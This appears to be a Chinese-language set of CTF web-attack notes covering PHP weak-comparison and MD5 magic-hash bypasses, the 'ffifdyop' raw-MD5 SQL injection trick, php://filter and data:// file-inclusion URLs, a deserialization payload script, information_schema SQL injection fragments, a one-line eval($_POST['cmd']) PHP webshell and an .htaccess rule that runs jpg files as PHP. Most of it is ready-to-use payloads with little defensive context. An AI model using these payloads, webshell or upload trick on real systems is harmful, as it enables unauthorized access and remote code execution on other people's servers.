MD5比较

在php中有两种比较的符号,“==”和“===”。

弱比较:使用“**==”进行比较,会先将两边转换成相同类型再比较,即仅比较值**。

强比较:使用“**===”进行比较,会先判断两边的数据类型是否相等,再进行比较,因此既比较值又比较类型**。

弱类型比较

原理

转换规则

1.同类型(数字型和数字型比较、字符型和字符型比较),比较其内容。比如’’aaa’’ == ‘’ab’’ -> false、123 == 223 -> false

2.字符型和数字型比较:若字符型值开头为数字,则转为数字;若开头不为数字,则为null弱比较和0相等。例如:“abc123” == 0 -> true

绕过

一、0e绕过

如果两个字符经MD5加密后的值以“0e”开头,则会被认作科学计数法,表示0*10**x,仍为0,则两者相等。

以下为一些可用字符串:

字符串 md5值
QNKCDZO 0e830400451993494058024219903391
240610708 0e462097431906509019562988736854
s1502113478a 0e861580163291561247404381396064
s1885207154a 0e509367213418206700842008763514
s1836677006a 0e481036490867661113260034900752
s155964671a 0e342768416822451524974117254469
…… ……
二、数组绕过

md5不能加密数组,传入数组会报错,但会继续执行并返回结果为null。

payload:?a[]=1&b[]=2

强类型绕过

一、数组绕过

见上。

二、使用md5加密后两个完全相等的字符串来绕过过滤
三、mysql里的ffifdyop绕过

万能通式:129581926211651571912466741651878684928和ffifdyop

实例:

select * from ‘admin’ where password=md5($pass,true)

输入md5(‘ffifdyop’,true)绕过

ffifdyop 这个字符串被 md5 哈希了后会变成 276f722736c95d99e921722cf9ed621c,Mysql会把hex转成ascii解释,而该字符串的md5转成字符串前几位刚好是’or’6,因此拼接之后的形式是 select * from ‘admin’ where password= ‘ or ‘6xxxxx ‘,等价于永远为真。

PHP伪协议

PHP 伪协议PHP 内置的一种特殊“协议”机制。它允许 PHP 在访问文件时,不只是访问普通文件,还可以通过类似 URL 的形式访问 内存、编码数据、压缩文件、输入流等资源

例如:

1
2
3
4
5
php://input
php://filter
file://
data://
zip://
1
2
3
4
5
#读取一个php
http://127.0.0.1/index.php?wllm=php://filter/read=convert.base64-encode/resource=hint.php

#让文件file存储一个内容
http://127.0.0.1/include.php?file=data://text/plain;base64,xxxx(base64编码)

PHP反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class w44m{

private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}

class w33m{
public $w00m;
public $w22m;
}
$a=new w22m;
$a->w00m = new w33m;
$a->w00m->w00m = new w44m;
$a->w00m->w22m = 'Getflag';

echo urlencode(serialize($a));

?>

无字母RCE绕过

异或运算绕过

sql注入

union select database()

group_concat(table_name) from information_schema.tables where table_schema like database()

文件上传

一句话木马

1
2
<?php @eval($_POST['cmd']);?>
@符号的意思是不报错,即使执行错误,也不报错。

Apache服务器

htaccess文件是Apache服务中的一个配置文件,负责相关目录下的网页配置。可以通过.htaccess文件将只要符合php语言代码规范的任意文件当作php执行。

.htaccess文件内容如下,即可把jpg当作php读取:

1
2
3
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>